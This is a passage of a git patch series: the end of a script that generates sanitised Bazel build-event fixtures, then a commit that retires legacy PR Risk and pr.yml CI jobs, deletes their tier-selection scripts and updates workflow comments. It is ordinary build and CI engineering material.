getenv("TEST_SHARD_STATUS_FILE"); + if (status_file != NULL) { + FILE *f = fopen(status_file, "w"); + if (f != NULL) { + fclose(f); + } + } + return 0; +} +EOF + +cd "$scratch" + +# A fully scrubbed environment: no inherited secrets, SSH state, gateway +# addresses or tokens. PATH is just enough for a C toolchain and bazel's own +# exec needs; HOME is scratch-local so nothing in it (no ~/.bazelrc either) +# can leak in, and so Bazel's own "user"/"host" fields come from this +# sandboxed identity rather than the operator's. +run_bazel() { + env -i \ + HOME="$home" \ + PATH=/usr/bin:/bin \ + USER=fixture \ + LOGNAME=fixture \ + TMPDIR=/tmp \ + "$real_bazel" --nohome_rc --nosystem_rc "--output_user_root=$userroot" "$@" +} + +out="$1" # destination dir, e.g. tools/bazel/testdata/ci_analytics/real +mkdir -p "$out" + +# filter_bep keeps only the BEP events and fields +# tools/bazel/ci_analytics_extract.py reads (plus buildToolLogs' "name" and +# "contents", with "uri" stripped, since those are local filesystem paths and +# not needed to recompute anything the extractor reports). Everything else — +# unstructuredCommandLine, structuredCommandLine, optionsParsed, +# workspaceStatus, buildMetadata, progress, and the leaky parts of started — +# is dropped entirely rather than merely left unused, so the fixture itself +# carries nothing a reviewer reading the raw JSON could call a leak. +filter_bep() { + python3 - "$1" "$2" <<'PY' +import json +import sys + +src, dst = sys.argv[1], sys.argv[2] + +# Positive allowlists only, one per event kind: every key below is one +# ci_analytics_extract.py actually reads (cross-checked against +# build_timing/build_tests/build_action_data). Nothing else survives, +# including keys a future Bazel version might add -- a denylist (drop just +# the known-leaky keys) was tried first and missed testSummary.passed/ +# failed[].uri (a file:// local path) entirely; an allowlist +# can't miss a key like that by construction, it would just never be kept. +STARTED_KEEP = {"uuid", "command", "buildToolVersion", "startTimeMillis"} +TESTRESULT_KEEP = {"status", "cachedLocally", "testAttemptDuration", "testAttemptDurationMillis"} +EXECINFO_KEEP = {"strategy", "timingBreakdown"} +TIMING_CHILD_KEEP = {"name", "time"} +TESTSUMMARY_KEEP = {"overallStatus", "shardCount", "attemptCount", "totalNumCached"} +FINISHED_KEEP = {"finishTimeMillis"} +EXITCODE_KEEP = {"code", "name"} +LOG_ENTRY_KEEP = {"name", "contents"} + + +def pick(d, keys): + return {k: v for k, v in d.items() if k in keys} if isinstance(d, dict) else {} + + +def filter_test_result(tr): + if not isinstance(tr, dict): + return {} + out = pick(tr, TESTRESULT_KEEP) + ei = tr.get("executionInfo") + if isinstance(ei, dict): + filtered_ei = pick(ei, EXECINFO_KEEP) + tbd = ei.get("timingBreakdown") + if isinstance(tbd, dict) and isinstance(tbd.get("child"), list): + filtered_ei["timingBreakdown"] = { + "child": [pick(c, TIMING_CHILD_KEEP) for c in tbd["child"] if isinstance(c, dict)] + } + out["executionInfo"] = filtered_ei + return out + + +def filter_build_metrics(bm): + if not isinstance(bm, dict): + return {} + out = {} + tm = bm.get("timingMetrics") + if isinstance(tm, dict): + out["timingMetrics"] = pick( + tm, + { + "cpuTimeInMs", + "wallTimeInMs", + "analysisPhaseTimeInMs", + "executionPhaseTimeInMs", + "actionsExecutionStartInMs", + "criticalPathTime", + "criticalPathTimeInMs", + }, + ) + asum = bm.get("actionSummary") + if isinstance(asum, dict): + filtered_asum = pick(asum, {"actionsCreated", "actionsExecuted"}) + if isinstance(asum.get("runnerCount"), list): + filtered_asum["runnerCount"] = [ + pick(rc, {"name", "count", "execKind"}) for rc in asum["runnerCount"] if isinstance(rc, dict) + ] + acs = asum.get("actionCacheStatistics") + if isinstance(acs, dict): + filtered_asum["actionCacheStatistics"] = pick(acs, {"hits", "misses"}) + if isinstance(asum.get("actionData"), list): + filtered_asum["actionData"] = [ + pick(ad, {"mnemonic", "actionsExecuted", "actionsCreated", "userTime", "systemTime"}) + for ad in asum["actionData"] + if isinstance(ad, dict) + ] + out["actionSummary"] = filtered_asum + pm = bm.get("packageMetrics") + if isinstance(pm, dict): + out["packageMetrics"] = pick(pm, {"packagesLoaded"}) + tgm = bm.get("targetMetrics") + if isinstance(tgm, dict): + out["targetMetrics"] = pick(tgm, {"targetsConfigured"}) + nmw = bm.get("networkMetrics") + nm = nmw.get("systemNetworkStats") if isinstance(nmw, dict) else None + if isinstance(nm, dict): + out["networkMetrics"] = {"systemNetworkStats": pick(nm, {"bytesRecv", "bytesSent"})} + return out + + +with open(src) as fin, open(dst, "w") as fout: + for line in fin: + line = line.strip() + if not line: + continue + event = json.loads(line) + kept = {} + # "id" carries the BEP identifier for this event (e.g. + # id.testResult.label / id.testSummary.label), which + # ci_analytics_extract.py reads to group test rows by label. It is + # not leaky on its own (a label, run/shard/attempt numbers), so it + # is kept verbatim alongside whichever event body below is kept. + if "id" in event: + kept["id"] = event["id"] + if "started" in event and isinstance(event["started"], dict): + kept["started"] = pick(event["started"], STARTED_KEEP) + elif "testResult" in event: + kept["testResult"] = filter_test_result(event["testResult"]) + elif "testSummary" in event and isinstance(event["testSummary"], dict): + # passed/failed (TestFile{uri, ...} lists) are never read by + # the extractor at all: dropped entirely, not merely + # uri-stripped, along with anything else not in the allowlist. + kept["testSummary"] = pick(event["testSummary"], TESTSUMMARY_KEEP) + elif "buildMetrics" in event: + kept["buildMetrics"] = filter_build_metrics(event["buildMetrics"]) + elif "finished" in event and isinstance(event["finished"], dict): + fin_ev = pick(event["finished"], FINISHED_KEEP) + ec = event["finished"].get("exitCode") + if isinstance(ec, dict): + fin_ev["exitCode"] = pick(ec, EXITCODE_KEEP) + kept["finished"] = fin_ev + elif "buildToolLogs" in event: + btl = event["buildToolLogs"] + logs = btl.get("log") if isinstance(btl, dict) else None + kept["buildToolLogs"] = { + "log": [pick(entry, LOG_ENTRY_KEEP) for entry in (logs or []) if isinstance(entry, dict)] + } + else: + kept.pop("id", None) + continue + fout.write(json.dumps(kept) + "\n") +PY +} + +# trim_profile keeps only the "Fetching repository" category entries the +# extractor's iter_repo_fetch() reads, dropping the (much larger, and +# otherwise unredacted) rest of the Chrome trace. Written one event per +# line -- {"traceEvents":[\n{...},\n{...}\n]} -- matching the real, +# streamable shape Bazel itself writes a JSON --profile in (as opposed to +# json.dump()'s single line): iter_repo_fetch() reads the profile line by +# line specifically so it never has to hold the whole (potentially huge) +# trace in memory, and a single-line file defeats that path entirely +# (every "Fetching repository" entry, if there's more than one, ends up on +# the one line containing the literal "traceEvents" key instead, which +# doesn't have a "cat" of its own and is skipped -- repo_fetch would always +# be empty, and the test for it would pass vacuously). +trim_profile() { + python3 - "$1" "$2" <<'PY' +import json +import sys + +src, dst = sys.argv[1], sys.argv[2] +with open(src) as f: + doc = json.load(f) +events = [ + e for e in doc.get("traceEvents", []) if e.get("cat") == "Fetching repository" +] +with open(dst, "w") as f: + f.write('{"traceEvents":[\n') + f.write(",\n".join(json.dumps(e) for e in events)) + f.write("\n]}\n") +PY +} + +# Cold: no disk cache. pass_test and sharded_test pass; flaky_test fails +# (deliberately, so the fixture has a FAILED testResult too). +run_bazel test //... \ + --keep_going \ + --build_event_json_file="$scratch/cold-bep.raw.json" \ + --execution_log_compact_file="$scratch/cold-exec.log" \ + --profile="$scratch/cold-profile.raw.json" || true +filter_bep "$scratch/cold-bep.raw.json" "$out/cold-bep.json" +zstd -dc --long=0 "$scratch/cold-exec.log" >"$out/cold-exec.binpb" +trim_profile "$scratch/cold-profile.raw.json" "$out/cold-profile.json" + +# Warm: first run with --disk_cache set populates it (its own actions are +# still local execs; the disk cache is empty going in). Not copied to $out +# on its own; it only sets up the disk cache for the post-clean run below. +run_bazel test //... \ + --keep_going \ + "--disk_cache=$diskcache" \ + --build_event_json_file="$scratch/warm1-bep.json" \ + --execution_log_compact_file="$scratch/warm1-exec.log" || true + +# Post-clean, with the disk cache warm1 just populated: every action is a +# disk_cache_hit except flaky_test's TestRunner spawn (Bazel never caches a +# failed test's result, so it reruns and misses). +run_bazel clean +run_bazel test //... \ + --keep_going \ + "--disk_cache=$diskcache" \ + --build_event_json_file="$scratch/postclean-bep.raw.json" \ + --execution_log_compact_file="$scratch/postclean-exec.log" || true +filter_bep "$scratch/postclean-bep.raw.json" "$out/postclean-bep.json" +zstd -dc --long=0 "$scratch/postclean-exec.log" >"$out/postclean-exec.binpb" + +echo "wrote fixtures to $out" >&2 From 4f924fc16148cdb25ef60267dc9e23befc2c59bd Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 09:31:20 +0000 Subject: [PATCH 151/325] ci(bazel): retire PR Risk's legacy Dolt tiers, pr.yml's legacy Go jobs and the D2 coverage flags (#7353) Every pull_request and merge group already took the Bazel lanes for the retired tiers (BAZEL_RETIRES_LEGACY_* and BAZEL_COVERS_FORKS all "true", and pr.yml/pr-risk.yml run on no other event), so the legacy jobs those flags stood down could never run again. Remove them with their decision: - pr-risk.yml: build-embedded, test-embedded-{storage,conformance,cmd}, test-proxied-cmd, test-server-storage{,-full}, detect-ci-tier (and its ci-embedded-tier.sh / ci-capability-selector.sh scripts) and bazel-coverage. PR Risk keeps the Nix packaging check (test-nix) and its gate, PR Risk Gate / Required. - pr.yml: build-artifacts, check-cmd-bd-puregeo-tests, pr-core-wrapper and bazel-coverage; the BAZEL_RETIRES_LEGACY_* and BAZEL_COVERS_FORKS flags. The three BAZEL_*_RETIRED gate ids become one, BAZEL_REMOTE: the Bazel call must have run remotely (remote, fork-ro or fork-rw) on every PR and merge group, each lane's own id still required. Gate names unchanged. Policy tests: the D2 decision matrix becomes TestPRGateRequiresRemoteBazelLanes (bazel.yml's actual rbe step and pr.yml's actual gate over every event/variable/secret/fork/actor/mint fact); the parity tests that read the legacy jobs now pin the Bazel lanes against those jobs' frozen commands. ga-96smfk.22 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/ci-capability-selector.sh | 163 --- .github/scripts/ci-embedded-tier.sh | 103 -- .github/workflows/bazel.yml | 114 +-- .github/workflows/pr-risk.yml | 615 +----------- .github/workflows/pr.yml | 456 +-------- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 304 ++---- scripts/BUILD.bazel | 1 - scripts/ci_blacksmith_runner_test.go | 6 +- scripts/ci_capability_selector_test.go | 281 ------ scripts/ci_merge_queue_test.go | 61 +- scripts/ci_workflow_test.go | 530 +++------- scripts/conformance_script_test.go | 2 +- scripts/embedded_shard_count_test.go | 21 + scripts/pr_lanes_bazel_coverage_test.go | 262 +---- scripts/pr_risk_bazel_coverage_test.go | 1089 +++------------------ scripts/pull_dolt_image_test.go | 11 +- 16 files changed, 516 insertions(+), 3503 deletions(-) delete mode 100755 .github/scripts/ci-capability-selector.sh delete mode 100755 .github/scripts/ci-embedded-tier.sh delete mode 100644 scripts/ci_capability_selector_test.go diff --git a/.github/scripts/ci-capability-selector.sh b/.github/scripts/ci-capability-selector.sh deleted file mode 100755 index ca9624153..000000000 --- a/.github/scripts/ci-capability-selector.sh +++ /dev/null @@ -1,163 +0,0 @@ -#!/usr/bin/env bash -# Report candidate PR Risk capabilities without changing the current gates. - -set -euo pipefail - -embedded_cli=false -proxied_cli=false -embedded_storage=false -embedded_conformance=false -server_conformance=false -full=false -reason="" -diff_file="" - -cleanup() { - if [[ -n "$diff_file" ]]; then - rm -f "$diff_file" - fi -} -trap cleanup EXIT - -set_full() { - embedded_cli=true - proxied_cli=true - embedded_storage=true - embedded_conformance=true - server_conformance=true - full=true - reason="$1" -} - -emit() { - local lines=( - "embedded_cli=$embedded_cli" - "proxied_cli=$proxied_cli" - "embedded_storage=$embedded_storage" - "embedded_conformance=$embedded_conformance" - "server_conformance=$server_conformance" - "full=$full" - "reason=$reason" - ) - printf '%s\n' "${lines[@]}" - if [[ -n "${GITHUB_OUTPUT:-}" ]]; then - printf '%s\n' "${lines[@]}" >> "$GITHUB_OUTPUT" - fi -} - -event_name="${GITHUB_EVENT_NAME:-}" -base_sha="${PR_BASE_SHA:-}" -head_sha="${PR_HEAD_SHA:-}" -case "$event_name" in - pull_request) ;; - push) set_full "push"; emit; exit 0 ;; - merge_group) set_full "merge_group"; emit; exit 0 ;; - *) set_full "unsupported_event"; emit; exit 0 ;; -esac - -if [[ -z "$base_sha" || -z "$head_sha" ]]; then - set_full "missing_bounds" - emit - exit 0 -fi - -diff_file=$(mktemp) -if ! git diff --no-ext-diff --find-renames --name-status -z "$base_sha" "$head_sha" -- > "$diff_file"; then - set_full "diff_failed" - emit - exit 0 -fi - -saw_path=false -saw_cmd=false -saw_embedded=false -saw_server=false -saw_conformance=false - -while :; do - status="" - if ! IFS= read -r -d '' status <&3; then - if [[ -n "$status" ]]; then - set_full "malformed_record" - fi - break - fi - if [[ "$status" != "A" && "$status" != "M" ]]; then - set_full "unsafe_status" - break - fi - path="" - if ! IFS= read -r -d '' path <&3; then - set_full "malformed_record" - break - fi - saw_path=true - if [[ -z "$path" || "$path" == /* || "/$path/" == *"/../"* || "$path" == . || "$path" == .. || "$path" == ./* ]]; then - set_full "unsafe_path" - break - fi - case "$path" in - .github/workflows/*|.github/scripts/*) - set_full "unsafe_control" - break - ;; - .buildflags|go.mod|go.sum|Makefile|default.nix|flake.nix|flake.lock|overlay.nix|packages.nix) - set_full "build_input" - break - ;; - cmd/bd/*) - embedded_cli=true - proxied_cli=true - saw_cmd=true - ;; - internal/storage/embeddeddolt/*) - embedded_cli=true - embedded_storage=true - embedded_conformance=true - saw_embedded=true - ;; - internal/storage/dolt/*) - proxied_cli=true - server_conformance=true - saw_server=true - ;; - backend/conformance/*|test/conformance/*) - embedded_conformance=true - server_conformance=true - saw_conformance=true - ;; - internal/storage/*|backend/*|schema/*) - set_full "cross_cutting_storage" - break - ;; - docs/*.md|docs/*.mdx|docs/*.png|docs/*.jpg|docs/*.jpeg|docs/*.gif|docs/*.svg|docs/*.webp|docs/*.avif|engdocs/*.md|engdocs/*.mdx|engdocs/*.png|engdocs/*.jpg|engdocs/*.jpeg|engdocs/*.gif|engdocs/*.svg|engdocs/*.webp|engdocs/*.avif|README.md|CHANGELOG.md|ARTICLES.md|BENCHMARKS.md|NEWSLETTER.md) - ;; - *) - set_full "unowned_path" - break - ;; - esac -done 3< "$diff_file" - -if [[ "$full" != true ]]; then - if [[ "$embedded_cli" == true && "$proxied_cli" == true && "$embedded_storage" == true && "$embedded_conformance" == true && "$server_conformance" == true ]]; then - full=true - reason="full" - elif [[ "$saw_path" != true ]]; then - reason="empty_diff" - elif [[ "$saw_cmd" == true && "$saw_embedded" != true && "$saw_server" != true && "$saw_conformance" != true ]]; then - reason="cmd_bd" - elif [[ "$saw_embedded" == true && "$saw_cmd" != true && "$saw_server" != true && "$saw_conformance" != true ]]; then - reason="embedded_storage" - elif [[ "$saw_server" == true && "$saw_cmd" != true && "$saw_embedded" != true && "$saw_conformance" != true ]]; then - reason="server_storage" - elif [[ "$saw_conformance" == true && "$saw_cmd" != true && "$saw_embedded" != true && "$saw_server" != true ]]; then - reason="shared_conformance" - elif [[ "$saw_cmd" == false && "$saw_embedded" == false && "$saw_server" == false && "$saw_conformance" == false ]]; then - reason="docs_only" - else - reason="mixed" - fi -fi - -emit diff --git a/.github/scripts/ci-embedded-tier.sh b/.github/scripts/ci-embedded-tier.sh deleted file mode 100755 index 62c943059..000000000 --- a/.github/scripts/ci-embedded-tier.sh +++ /dev/null @@ -1,103 +0,0 @@ -#!/usr/bin/env bash -# Decide whether CI should run the full embedded Dolt build/storage/cmd matrix. - -set -euo pipefail - -event_name="${GITHUB_EVENT_NAME:-}" -base_sha="${PR_BASE_SHA:-}" -head_sha="${PR_HEAD_SHA:-}" - -full_embedded=false -reason="" -changed_files="" - -write_outputs() { - if [ -n "${GITHUB_OUTPUT:-}" ]; then - { - echo "full_embedded=$full_embedded" - echo "reason=$reason" - } >> "$GITHUB_OUTPUT" - fi -} - -case "$event_name" in - push) - full_embedded=true - reason="push to main runs full embedded Dolt coverage" - write_outputs - echo "$reason" - exit 0 - ;; - merge_group) - full_embedded=true - reason="merge queue runs full embedded Dolt coverage" - write_outputs - echo "$reason" - exit 0 - ;; -esac - -if [ "$event_name" != "pull_request" ]; then - full_embedded=true - reason="non-PR event runs full embedded Dolt coverage" - write_outputs - echo "$reason" - exit 0 -fi - -if [ -z "$base_sha" ] || [ -z "$head_sha" ]; then - full_embedded=true - reason="PR diff bounds unavailable; defaulting to full embedded Dolt coverage" - write_outputs - echo "$reason" - exit 0 -fi - -if ! changed_files="$(git diff --name-only "$base_sha" "$head_sha")"; then - full_embedded=true - reason="PR diff failed; defaulting to full embedded Dolt coverage" - write_outputs - echo "$reason" - exit 0 -fi - -if [ -z "$changed_files" ]; then - reason="no changed files detected; skipping embedded Dolt matrix" - write_outputs - echo "$reason" - exit 0 -fi - -while IFS= read -r path; do - case "$path" in - cmd/*|internal/*|tests/*|scripts/*|.github/scripts/*|.github/workflows/*) - full_embedded=true - reason="changed $path" - break - ;; - *.go|go.mod|go.sum|Makefile|default.nix|flake.nix|flake.lock|packages.nix) - full_embedded=true - reason="changed $path" - break - ;; - AGENTS.md|AGENT_INSTRUCTIONS.md|CONTRIBUTING.md|RELEASING.md) - full_embedded=true - reason="changed $path" - break - ;; - esac -done <<< "$changed_files" - -if [ "$full_embedded" = true ]; then - reason="risk path detected: $reason; running full embedded Dolt coverage" -else - reason="docs/metadata-only PR; skipping embedded Dolt storage/cmd matrix" -fi - -write_outputs - -echo "$reason" -echo "Changed files:" -while IFS= read -r path; do - printf ' %s\n' "$path" -done <<< "$changed_files" diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 44f3de19a..8d5f90aab 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1,23 +1,17 @@ -# Bazel side-by-side lane, gated alongside the legacy go test jobs. Runs -# `bazel test //... --config=ci`, the PR Core-parity selection (race, -short, -# dolt skip), plus one job per mirrored CI job (pure-Go and -# js/wasm, the dolt-server lane, pr-risk.yml's embedded-Dolt, proxied-server -# and server-Dolt storage tiers, main.yml's integration jobs). +# The Bazel lanes: the only CI run of the Linux Go test tiers. Runs +# `bazel test //... --config=ci`, the PR-core selection (race, -short, dolt +# skip), plus one job per tier (pure-Go and js/wasm, the dolt-server lane, +# the embedded-Dolt, proxied-server and server-Dolt storage tiers that +# pr-risk.yml used to run, integration, the cmd/bd Dolt-server tier). # -# PRs and merge groups run it through pr.yml's `bazel` job (workflow_call), -# in the same run as the legacy jobs it mirrors, which stay required too, -# except where their D2 flag retires them: while the committed -# BAZEL_RETIRES_LEGACY_EMBEDDED / BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS / -# BAZEL_RETIRES_LEGACY_PR_LANES flag is "true", on a same-repo, -# non-Dependabot pull_request or a merge_group run (whatever the mode), the -# bazel-coverage job stands down pr-risk.yml's embedded-Dolt test jobs (bazel-embedded runs -# the tier), its proxied-server and server-Dolt storage test jobs -# (bazel-proxied, bazel-server-storage), or pr.yml's PR Core, -# build-artifacts and pure-Go/js-wasm jobs (bazel-test, bazel-pure; their -# `bazel test`s then add --config=sole-run, as bazel-doltserver's does: it -# is the only run of the retired domain+uow and contract corpus jobs' tests); pr.yml's ci-gate then requires those lanes to have run -# remotely and passed, so modes skip, local and cache are red there -# (scripts/pr_risk_bazel_coverage_test.go, pr_lanes_bazel_coverage_test.go). +# PRs and merge groups run it through pr.yml's `bazel` job (workflow_call). +# The legacy go test jobs these lanes mirrored are retired (ga-96smfk.22), +# so pr.yml's ci-gate requires the lanes to have run remotely on rbe-west +# and passed on every pull_request and merge group (BAZEL_REMOTE): modes +# skip, local and cache are red there (scripts/pr_risk_bazel_coverage_test.go). +# Where a lane executes remotely its `bazel test`s add --config=sole-run: it +# is the tier's only run, so a remote cache eviction fails it rather than +# re-running the invocation (whose retry could turn a failed test green). # Test results are cached (read and written) on every run but nightly's: a # test whose action key is unchanged reuses the PASS the farm recorded for # it, on a PR, a merge group (merge queue) or a push to main alike, and only @@ -286,9 +280,7 @@ on: required: false default: "off" # "on" (pr.yml only) runs package-mcp and package-npm in this call, - # which waits on nothing but the rbe job (F3: the legacy pr.yml jobs - # those gates used to need: detect-package-gates, build-artifacts, - # bazel-coverage, and the whole bazel call). bazel-farm.yml, nightly.yml + # which waits on nothing but the rbe job. bazel-farm.yml, nightly.yml # and direct runs (push, dispatch) keep the default "off": main.yml # keeps its own package jobs, and a fork-farm run has no bd artifact # consumer waiting on these. @@ -700,13 +692,13 @@ jobs: outputs: result: ${{ steps.result.outputs.result }} env: - # D2 step 3: on covered PRs and merge groups (always mode remote) this - # lane is the only pre-merge run of pr.yml's legacy PR Core job, which - # never retried: --config=sole-run then fails on a remote cache eviction - # instead of re-running the whole invocation (whose retry could turn a - # failed test green). Fork modes do the same (with BAZEL_COVERS_FORKS - # "true" it is their only run too). Test results are cached and reused - # like every lane's; only nightly re-executes them all (BAZEL_FRESH). + # This lane is the only pre-merge run of the PR-core tests (pr.yml's + # retired PR Core job never retried): where it executes remotely + # (mode remote, and the fork modes) --config=sole-run fails on a + # remote cache eviction instead of re-running the whole invocation + # (whose retry could turn a failed test green). Test results are + # cached and reused like every lane's; only nightly re-executes them + # all (BAZEL_FRESH). BAZEL_SOLE_RUN: ${{ needs.rbe.outputs.enabled == 'true' && '--config=sole-run' || '' }} steps: # inputs.checkout-sha: see the header (empty: the event's default ref). @@ -792,10 +784,9 @@ jobs: echo >> "$GITHUB_STEP_SUMMARY" exit "$rc" - # pr.yml's build-artifacts job, built by Bazel: the same artifact name - # and layout (bd-linux-gms-pure, SHA256SUMS, build-manifest.txt). Where - # build-artifacts stands down (D2 step 3), its other consumer (PR - # Core) stands down there too. F3: the package gates build + # pr.yml's retired build-artifacts job, built by Bazel: the same + # artifact name and layout (bd-linux-gms-pure, SHA256SUMS, + # build-manifest.txt). F3: the package gates build # their own bd and no longer consume this artifact; it is kept for the # F3.5.3 SHA256SUMS comparison and for debugging. The script documents # which binary and how it differs from `go build`'s. @@ -967,13 +958,12 @@ jobs: JOB_STATUS: ${{ job.status }} run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" - # pr.yml's check-cmd-bd-puregeo-tests job ("Check pure-Go and js/wasm - # boundaries (CGO_ENABLED=0)") with Bazel-built binaries: --config=pure - # builds bd and the job's three pure test binaries and runs its -short - # cmd/bd subset (PURE_CMD_BD_TESTS, kept equal to the job's -run selector by - # scripts/ci_workflow_test.go); --config=js-wasm builds the hooks test for - # js/wasm, which the Go SDK's go_js_wasm_exec runs under node with the job's - # exact pass-count guard. + # The CGO_ENABLED=0 portability boundaries (pr.yml's retired + # check-cmd-bd-puregeo-tests job) with Bazel-built binaries: --config=pure + # builds bd and three pure test binaries and runs the -short cmd/bd subset + # (PURE_CMD_BD_TESTS, pinned by scripts/ci_workflow_test.go); + # --config=js-wasm builds the hooks test for js/wasm, which the Go SDK's + # go_js_wasm_exec runs under node with an exact pass-count guard. bazel-pure: name: pure-Go and js/wasm # Same runner and skip rule as bazel-test. @@ -985,14 +975,11 @@ jobs: result: ${{ steps.result.outputs.result }} env: PURE_CMD_BD_TESTS: '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' - # D2 step 3: on covered PRs and merge groups (always mode remote) this - # lane is the only pre-merge run of pr.yml's legacy pure-Go and js/wasm - # job, which never retried: --config=sole-run then fails on a remote - # cache eviction instead of re-running the whole invocation (whose retry - # could turn a failed test green). Fork modes do the same (with - # BAZEL_COVERS_FORKS "true" it is their only run too). Test results are - # cached and reused like every lane's; only nightly re-executes them all - # (BAZEL_FRESH). + # The only pre-merge run of these boundaries: where it executes + # remotely --config=sole-run fails on a remote cache eviction instead + # of re-running the whole invocation (whose retry could turn a failed + # test green). Test results are cached and reused like every lane's; + # only nightly re-executes them all (BAZEL_FRESH). BAZEL_SOLE_RUN: ${{ needs.rbe.outputs.enabled == 'true' && '--config=sole-run' || '' }} steps: # inputs.checkout-sha: see the header (empty: the event's default ref). @@ -1242,9 +1229,8 @@ jobs: # sum(durations)/shard_count the way a CPU-core-bound local sweep is -- # each shard is its own remote action and runs concurrently with every # other shard, farm capacity permitting. - # On same-repo pull_requests those jobs stand down (pr-risk.yml's - # bazel-coverage), so this lane is then the tier's only PR run - # and pr.yml's gate requires it to have run here and passed. + # This lane is the tier's only PR run (pr-risk.yml's legacy jobs are + # retired) and pr.yml's gate requires it to have run here and passed. # The runs-on expression is the shared one: Blacksmith in mode remote, # GitHub-hosted in the fork modes (a client only). needs: rbe @@ -1313,8 +1299,7 @@ jobs: if: ${{ always() && steps.test.outcome != 'skipped' }} run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" - # Since D2 step 1 this lane is the tier's only pre-merge run on - # same-repo PRs. The shard scripts discover tests from source, but each + # This lane is the tier's only pre-merge run. The shard scripts discover tests from source, but each # Bazel binary holds only its target's srcs: a listed test the binary # lacks matches nothing and passes silently. Fail unless every Bazel # shard ran exactly the tests its script lists (list-only mode, cheap), @@ -1670,9 +1655,7 @@ jobs: # not the legacy jobs' 15 — shard k here is not the same split as their # shard k. Same build as --config=doltserver (race bd_test, non-race # bd_for_tests), shared with bazel-doltserver through the remote cache. - # PR Risk builds its bd-cmd-test with -race, as here; main.yml's - # test-proxied-cmd twin uses build-artifacts' non-race bd-cmd-test, so - # this lane is the stricter of the two. It also runs + # The test binary is race, as PR Risk's retired jobs built it. It also runs # //cmd/bd:bd_managed_local_test, the managed-local proxied lifecycle # (formerly proxied-local-smoke.yml) in a loopback-only network # namespace, which needs the workers' unprivileged user namespaces. A job @@ -1683,9 +1666,8 @@ jobs: # Remote execution only, like bazel-embedded: 30 concurrent shards, each # running its own dolt sql-server busy on ~4 cores, do not fit a # GitHub-hosted runner regardless of any single shard's wall time. - # On same-repo pull_requests the legacy jobs stand down (pr-risk.yml's - # bazel-coverage; D2 step 2), so this lane is then the tier's only PR - # run and pr.yml's gate requires it to have run here and passed. + # This lane is the tier's only PR run (pr-risk.yml's legacy jobs are + # retired) and pr.yml's gate requires it to have run here and passed. needs: rbe runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} @@ -1779,8 +1761,7 @@ jobs: if: ${{ always() && steps.test.outcome != 'skipped' }} run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" - # Since D2 step 2 this lane is the tier's only pre-merge run on - # same-repo PRs: as in bazel-embedded, every Bazel shard must run + # This lane is the tier's only pre-merge run: as in bazel-embedded, every Bazel shard must run # exactly the tests its shard script lists, and not only skips. - name: Every listed test ran in its shard if: ${{ always() && steps.test.outcome != 'skipped' }} @@ -1856,9 +1837,8 @@ jobs: name: server-Dolt storage tier # Remote execution only, like bazel-integration: locally the tagged race # build of //... alone is most of the timeout. - # On same-repo pull_requests the legacy jobs stand down (pr-risk.yml's - # bazel-coverage; D2 step 2), so this lane is then the tier's only PR - # run and pr.yml's gate requires it to have run here and passed. + # This lane is the tier's only PR run (pr-risk.yml's legacy jobs are + # retired) and pr.yml's gate requires it to have run here and passed. needs: rbe runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} @@ -1924,8 +1904,7 @@ jobs: if: ${{ always() && steps.test.outcome != 'skipped' }} run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" - # Since D2 step 2 this lane is the tier's only pre-merge run on - # same-repo PRs: as in bazel-embedded, every full-suite shard must run + # This lane is the tier's only pre-merge run: as in bazel-embedded, every full-suite shard must run # exactly the tests its shard script lists, and neither it nor the # conformance target only skips. - name: Every listed test ran in its shard @@ -2139,8 +2118,7 @@ jobs: run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" # F3: moved here from pr.yml so the gate depends on nothing but the rbe - # job's decision (not detect-package-gates, build-artifacts, bazel-coverage - # or the whole bazel call). Only pr.yml opts in (package-gates: "on"); + # job's decision (not the whole bazel call). Only pr.yml opts in (package-gates: "on"); # bazel-farm.yml and nightly.yml keep the default "off" and this job does # not run for them. Same-repo PRs get a Bazel-built bd (no --config=ci: # only test:ci is defined in .bazelrc, so bazel build //cmd/bd:bd_for_tests diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index a8c56606e..1e0db9633 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -20,562 +20,17 @@ concurrency: env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" - # D2: "true" retires a PR Risk legacy tier on same-repo, non-Dependabot - # pull_requests and on merge groups (merge queue); pr.yml's gated Bazel lane(s) for it are then the tier's - # only pre-merge run, and pr.yml's gate goes red unless they ran remotely - # and passed. Committed, not repo variables, so a re-run can never change - # them; each must equal pr.yml's / pr-risk.yml's copy - # (scripts/pr_risk_bazel_coverage_test.go). Revert: commit "false" in both - # workflows (in-flight PRs pick it up on their next push or merge of main). - # Step 1: the embedded-Dolt test jobs (Bazel `embedded Dolt tier`). - BAZEL_RETIRES_LEGACY_EMBEDDED: "true" - # Step 2: the proxied-server and server-Dolt storage test jobs (Bazel - # `proxied-server tier` and `server-Dolt storage tier`). - BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "true" - # Step 3: pr.yml's own legacy jobs whose Bazel lanes run in 